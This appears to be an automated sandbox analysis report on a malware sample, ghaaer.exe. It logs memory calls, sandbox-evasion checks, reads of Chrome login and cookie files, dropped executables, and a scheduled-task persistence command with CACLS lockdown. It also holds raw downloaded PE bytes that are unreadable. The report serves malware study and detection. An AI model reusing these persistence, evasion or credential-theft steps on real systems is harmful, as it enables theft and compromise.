NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000c70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b12000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b14000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b14000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b14000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b14000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9439a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9444c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94476000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe94450000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2456000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefeffd000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe944c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe944c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe943bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

A process attempted to delay the analysis task. (1 event)

description

ghaaer.exe tried to sleep 142 seconds, actually delayed analysis time by 142 seconds

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (16 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 3252562 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 3252562 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 3252307 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 3252307 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 3252084 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 3252084 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 3251929 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 3251929 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:22 p.m.	number_of_free_clusters: 3251045 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:22 p.m.	number_of_free_clusters: 3251045 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:22 p.m.	number_of_free_clusters: 3250902 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:22 p.m.	number_of_free_clusters: 3250902 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:22 p.m.	number_of_free_clusters: 3250496 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:22 p.m.	number_of_free_clusters: 3250496 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:22 p.m.	number_of_free_clusters: 3250323 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:22 p.m.	number_of_free_clusters: 3250323 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1

Steals private information from local Internet browsers (6 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State

Creates executable files on the filesystem (21 events)

file	C:\Users\test22\AppData\Local\Temp\1000006051\mohta5.exe
file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll
file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\cred64.dll
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\zkAV7007rf.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\mivI90Zg02.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\ljHS32Gh89.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\zkAR5462uM.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\uhGy22Kv39Nf.exe
file	C:\Users\test22\AppData\Local\Temp\1000007001\St1_soft.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\ykfz69bR53.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\nm41Wf87oQ91.exe
file	C:\Users\test22\AppData\Local\Temp\IXP004.TMP\tkfd65pj76.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\xkDa05Jg16.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\rdhE70nh45.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\tf34Qi93ch38.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\knJT64Wo49.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\zkAW1527qw.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\sf70Px12oe63.exe
file	C:\Users\test22\AppData\Local\Temp\1000005051\serko4.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\vhYe8550Hs.exe
file	C:\Users\test22\AppData\Local\Temp\IXP004.TMP\ukVu49bk57.exe

Creates a suspicious process (4 events)

cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe" /F
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "ghaaer.exe" /P "test22:N"&&CACLS "ghaaer.exe" /P "test22:R" /E&&echo Y\|CACLS "..\5975271bda" /P "test22:N"&&CACLS "..\5975271bda" /P "test22:R" /E&&Exit

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\1000005051\serko4.exe
file	C:\Users\test22\AppData\Local\Temp\1000006051\mohta5.exe

Drops an executable to the user AppData folder (3 events)

file	C:\Users\test22\AppData\Local\Temp\1000006051\mohta5.exe
file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\1000005051\serko4.exe

A process created a hidden window (6 events)

Time & API	Arguments	Status	Return
ShellExecuteExW March 5, 2023, 2:22 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe	1	1
ShellExecuteExW March 5, 2023, 2:22 p.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\5975271bda\ghaaer.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW March 5, 2023, 2:22 p.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "ghaaer.exe" /P "test22:N"&&CACLS "ghaaer.exe" /P "test22:R" /E&&echo Y\|CACLS "..\5975271bda" /P "test22:N"&&CACLS "..\5975271bda" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW March 5, 2023, 2:22 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000005051\serko4.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000005051\serko4.exe	1	1
ShellExecuteExW March 5, 2023, 2:22 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000006051\mohta5.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000006051\mohta5.exe	1	1
ShellExecuteExW March 5, 2023, 2:22 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main filepath: rundll32.exe	1	1

An executable file was downloaded by the process ghaaer.exe (3 events)

Time & API	Arguments	Status	Return
InternetReadFile March 5, 2023, 2:22 p.m.	buffer: MZÿÿ¸@àº´ Í!¸LÍ!This program cannot be run in DOS mode. $×â%KÔKÔKÔöåNÕKÔöåHÕKÔöåOÕKÔöåJÕKÔJÔ KÔöåCÕKÔöå´ÔKÔöåIÕKÔRichKÔPELâ`bà dä`j@ Ã@Á ¢´À0ÅT@ .textcd `.dataHh@À.idataR j@@.rsrcÐÀÆ\|@@.reloc B@B@P@¤@p@¢@È@u j@°i@@o@àÀ012P4ð4BIPJÐJ`KÀK LÀLÐLàOcÀc`g°i j`jàlðn@oppr radvapi32.dllCheckTokenMembership" .INF[]RebootAdvancedINFVersionsetupx.dllsetupapi.dll.BATSeShutdownPrivilegeadvpack.dllDelNodeRunDLL32...wininit.ini%luSoftware\Microsoft\Windows\CurrentVersion\App Paths\Kernel32.dllHeapSetInformationTITLEEXTRACTOPTINSTANCECHECKVERCHECKDecryptFileALICENSE<None>REBOOTSHOWWINDOWADMQCMDUSRQCMDRUNPROGRAMPOSTRUNPROGRAMFINISHMSGLoadString() Error. Could not load string resource.CABINETFILESIZESPACKINSTSPACEUPROMPTIXP%03d.TMPIXPi386mipsalphappcA:\msdownld.tmpTMP4351$.TMPRegServerUPDFILE%luControl Panel\Desktop\ResourceLocaleâ`b%ttâ`b Øâ`bprRSDSºÍã÷æÎÍú1 òïåwextract.pdbGCTL¬.rdata$brc¬.CRT$XCA°.CRT$XCAA´.CRT$XCZ¸.CRT$XIA¼.CRT$XIAAÀ.CRT$XIYÄ.CRT$XIZÈx.gfids@0.rdatap.rdata$sxdatat.rdata$zzzdbg8\.text$mn¸r\.xdata$xà.dataàh.bss .idata$5¢.00cfg¢ .idata$2,£.idata$3@£.idata$4È¥ .idata$6À.rsrc$01Ä .rsrc$02ÿUì3ÀÒtúÿÿÿv¸WÀxQÿuQèÛëÒtÆ]ÂÿUìSVW3ÿ»W÷Òtúÿÿÿvóöx?òÁÒt8t@îuõþÂ÷Þö+Çæ©ÿøó÷ßÿ#øöxQÿu+×QÏènð_Æ^[]ÂÿUìEV3öÀt=ÿÿÿv¾Wöx5S]3öWxÿEPÿuWSÿ\|¢@ÄÀx;Çwuë¾zÆ_[ë ÀtMÆÆ^]ÃÿUìÒt&ESV¾þÿÿ+ÁötÛt ANêuì^[ÒuI÷ÚÆÒâÿøz]ÂÿUì9MrEº+Á;Âw+M ë3À]ÂÿUìì¡@3ÅEüSVW3ÀfÇEøñEôhD@uèØÿx @øÿtjhT@Wÿ @EðÀtP3ÉEìPQQQQQQh j jEôPCÿ$ @ÀtMðôÿuèÿuìjÿ¢@ÿUð;ôt¹Í)ÿuìÿ @Wÿ¬ @MüÃ_^3Í[èATå]ÃÿUìì¡@3ÅEü¡(@SWj3ÛfÇEø_]ô]ð;ÇôMðèÿÿÿÀÓEèPjÿ¡@Pÿ @ÀÉEìPSSWÿuèÿ @Àÿl @øzVÿuìSÿP¡@ðötqEìPÿuìVWÿuèÿ @ÀtTEäPSSSSSSh j WEôPÿ$ @Àt49v'~ÿuäÿ7ÿ, @Àu CÇ;réë3À@£(@Eðÿuäÿ @Vÿ¤ @^ÿuèÿ @EðëEðÀt Ç(@Mü_3Í[èSå]ÃÌÌÌÌÌÌÌÿUìì¡@3ÅEüEVu-t!èuUÃ÷ÿÿùw RVÿà¡@ëP3ÀëOÿÌ¡@ÐÎè)hüýÿÿÆüýÿÿPÿuÿ5<@ÿè¡@üýÿÿPh?VÿÔ¡@jÿÿÜ¡@3À@Mü3Í^èbRå]ÂÿUìQSÁÚVWEü3ÿ0ë>tFf¾ËèÔKÀuëEüf¾0ë3Àë#<7tGf¾7Ëè®KÀté78tÆ@_^[å]ÃÿUìì¡@3ÅEüEºSVÙèùÿÿEôýÿÿWSìùÿÿè[ûÿÿ½ôýÿÿ"u ºl@õýÿÿëºp@ôýÿÿðùÿÿðùÿÿè-ÿÿÿµðùÿÿøöt<ÎQAÀuù+Êùr)F<:u~\t >\u<\uVºøþÿÿèãúÿÿë(Qhä@QºøþÿÿèËûÿÿVºøþÿÿèÃIj.ZÎè÷JÀjÿht@jÿPjjÿh @Hè\|øþÿÿPÿ request_handle: 0x00cc000c	1	1
InternetReadFile March 5, 2023, 2:22 p.m.	buffer: MZÿÿ¸@àº´ Í!¸LÍ!This program cannot be run in DOS mode. $×â%KÔKÔKÔöåNÕKÔöåHÕKÔöåOÕKÔöåJÕKÔJÔ KÔöåCÕKÔöå´ÔKÔöåIÕKÔRichKÔPELâ`bà dä `j@ Æ5@Á ¢´À\|Å T@ .textcd `.dataHh@À.idataR j@@.rsrcÐ ÀÆ \|@@.reloc B @B@P@¤@p@¢@È@u j@°i@@o@àÀ012P4ð4BIPJÐJ`KÀK LÀLÐLàOcÀc`g°i j`jàlðn@oppr radvapi32.dllCheckTokenMembership" .INF[]RebootAdvancedINFVersionsetupx.dllsetupapi.dll.BATSeShutdownPrivilegeadvpack.dllDelNodeRunDLL32...wininit.ini%luSoftware\Microsoft\Windows\CurrentVersion\App Paths\Kernel32.dllHeapSetInformationTITLEEXTRACTOPTINSTANCECHECKVERCHECKDecryptFileALICENSE<None>REBOOTSHOWWINDOWADMQCMDUSRQCMDRUNPROGRAMPOSTRUNPROGRAMFINISHMSGLoadString() Error. Could not load string resource.CABINETFILESIZESPACKINSTSPACEUPROMPTIXP%03d.TMPIXPi386mipsalphappcA:\msdownld.tmpTMP4351$.TMPRegServerUPDFILE%luControl Panel\Desktop\ResourceLocaleâ`b%ttâ`b Øâ`bprRSDSºÍã÷æÎÍú1 òïåwextract.pdbGCTL¬.rdata$brc¬.CRT$XCA°.CRT$XCAA´.CRT$XCZ¸.CRT$XIA¼.CRT$XIAAÀ.CRT$XIYÄ.CRT$XIZÈx.gfids@0.rdatap.rdata$sxdatat.rdata$zzzdbg8\.text$mn¸r\.xdata$xà.dataàh.bss .idata$5¢.00cfg¢ .idata$2,£.idata$3@£.idata$4È¥ .idata$6À.rsrc$01Ä .rsrc$02ÿUì3ÀÒtúÿÿÿv¸WÀxQÿuQèÛëÒtÆ]ÂÿUìSVW3ÿ»W÷Òtúÿÿÿvóöx?òÁÒt8t@îuõþÂ÷Þö+Çæ©ÿøó÷ßÿ#øöxQÿu+×QÏènð_Æ^[]ÂÿUìEV3öÀt=ÿÿÿv¾Wöx5S]3öWxÿEPÿuWSÿ\|¢@ÄÀx;Çwuë¾zÆ_[ë ÀtMÆÆ^]ÃÿUìÒt&ESV¾þÿÿ+ÁötÛt ANêuì^[ÒuI÷ÚÆÒâÿøz]ÂÿUì9MrEº+Á;Âw+M ë3À]ÂÿUìì¡@3ÅEüSVW3ÀfÇEøñEôhD@uèØÿx @øÿtjhT@Wÿ @EðÀtP3ÉEìPQQQQQQh j jEôPCÿ$ @ÀtMðôÿuèÿuìjÿ¢@ÿUð;ôt¹Í)ÿuìÿ @Wÿ¬ @MüÃ_^3Í[èATå]ÃÿUìì¡@3ÅEü¡(@SWj3ÛfÇEø_]ô]ð;ÇôMðèÿÿÿÀÓEèPjÿ¡@Pÿ @ÀÉEìPSSWÿuèÿ @Àÿl @øzVÿuìSÿP¡@ðötqEìPÿuìVWÿuèÿ @ÀtTEäPSSSSSSh j WEôPÿ$ @Àt49v'~ÿuäÿ7ÿ, @Àu CÇ;réë3À@£(@Eðÿuäÿ @Vÿ¤ @^ÿuèÿ @EðëEðÀt Ç(@Mü_3Í[èSå]ÃÌÌÌÌÌÌÌÿUìì¡@3ÅEüEVu-t!èuUÃ÷ÿÿùw RVÿà¡@ëP3ÀëOÿÌ¡@ÐÎè)hüýÿÿÆüýÿÿPÿuÿ5<@ÿè¡@üýÿÿPh?VÿÔ¡@jÿÿÜ¡@3À@Mü3Í^èbRå]ÂÿUìQSÁÚVWEü3ÿ0ë>tFf¾ËèÔKÀuëEüf¾0ë3Àë#<7tGf¾7Ëè®KÀté78tÆ@_^[å]ÃÿUìì¡@3ÅEüEºSVÙèùÿÿEôýÿÿWSìùÿÿè[ûÿÿ½ôýÿÿ"u ºl@õýÿÿëºp@ôýÿÿðùÿÿðùÿÿè-ÿÿÿµðùÿÿøöt<ÎQAÀuù+Êùr)F<:u~\t >\u<\uVºøþÿÿèãúÿÿë(Qhä@QºøþÿÿèËûÿÿVºøþÿÿèÃIj.ZÎè÷JÀjÿht@jÿPjjÿh @Hè\|øþÿÿPÿ request_handle: 0x00cc000c	1	1
InternetReadFile March 5, 2023, 2:22 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $,CyáCyáCyáâ~Iyáä~Ëyáå~Qyáå~Lyáâ~Ryáä~byáà~FyáCyàyáØè~@yáØá~ByáØByáØã~ByáRichCyáPEL©Údà!Þ>ð°@ J<K<øT ?p?@ð,.textVÝÞ `.rdataîaðbâ@@.dataD`D@À.rsrcøP@@.relocTR@Bj h¨<¹phè?#hêèYÃÌÌÌj8hÌ<¹hè#h`êèlYÃÌÌÌj8hÌ<¹ hèÿ"hÀêèLYÃÌÌÌj8hÌ<¹¸hèß"h ëè,YÃÌÌÌj8h=¹Ðhè¿"hëè*YÃÌÌÌj0hD=¹èhè"hàëèì)YÃÌÌÌj0hx=¹iè"h@ìèÌ)YÃÌÌÌhh°=¹iè\"h ìè©)YÃj?h>¹0iè?"híè)YÃÌÌÌÁÂÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPèÂ2ÄÆ^]ÂÌÌÌI¸\|<ÉEÁÃÌÌUìVñFÇñPèó2ÄöEtjVè«%ÄÆ^]ÂAÇñPèÉ2YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀÁfÖAÇA<ÇìñÃÌÌÌÌÌÌÌÌUììMôèÒÿÿÿhJEôPè2ÌÌÌÌUìVñWÀFPÇñfÖEÀPèò1ÄÇìñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPè²1ÄÇ ñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìQSZVWQSñè=h3É3À}üÛ~53Ò;ÇþEÐ=h¸phCph~r>A}üB;Ë\|Ë~r_ÆÆ^[å]Ã_ÆÆ^[å]ÃÌÌÌÌÌUììSVWòùQ}ôFPEðè3Û]ø9]ð)D~Ær¾Pè¯KÄÀu-NÆùr< tÆùrÏréÌ~Ær=@i3Ò Diÿt+EÿfD]ÿù¸0iC0i8]øtB;×ráÊÿEÈxr3Àÿt.MÿD=Di¹0i]ÿC 0i8]øt@;ÇrÝÈÿ=Di¹0iC 0iMìMôMøyr MøÏ+È 3Ò÷÷Mì}ô MøC]ø;]ðÜþÿÿrÆÇ_^[å]ÃÆÇ_^[å]ÃÌÌÌÌÌÌÌÌÌÌUìì@SVWÙòQMÄ]ôèçýÿÿEÄÖPMÜèYþÿÿhÇCÇCÆè°"Ø¹Èÿ]øûÄó«3Ò¾8>Bú@\|ðUì3ö3Û~øÒtAMø}ðEÜCEÜ¾øÿt'ÁæðÇxÏÆÓøMôPèUìïMøC;ÚrÂEøÀthPèð!ÄUðúr(MÜBÁúrIüÂ#+ÁÀüøwVRQèÀ!ÄUØÇEìÇEðÆEÜúr(MÄBÁúrIüÂ#+ÁÀüøwRQè~!ÄEô_^[å]ÃèGÌÌÌÌÌÌÌÌÌÌÌUìì4E0SVW3ÿÆEè¾À]ÇEàÇEäÆEÐ;Ç´+ÇMÐ;ÃBØ}4E CE SÇPèþr.MèVÁúrIüÂ#+ÁÀüøhRQè× ÄMÐ}Uó~EàEèCU}äuà]f~ÉMèCÁfÖEø;óu\îr; 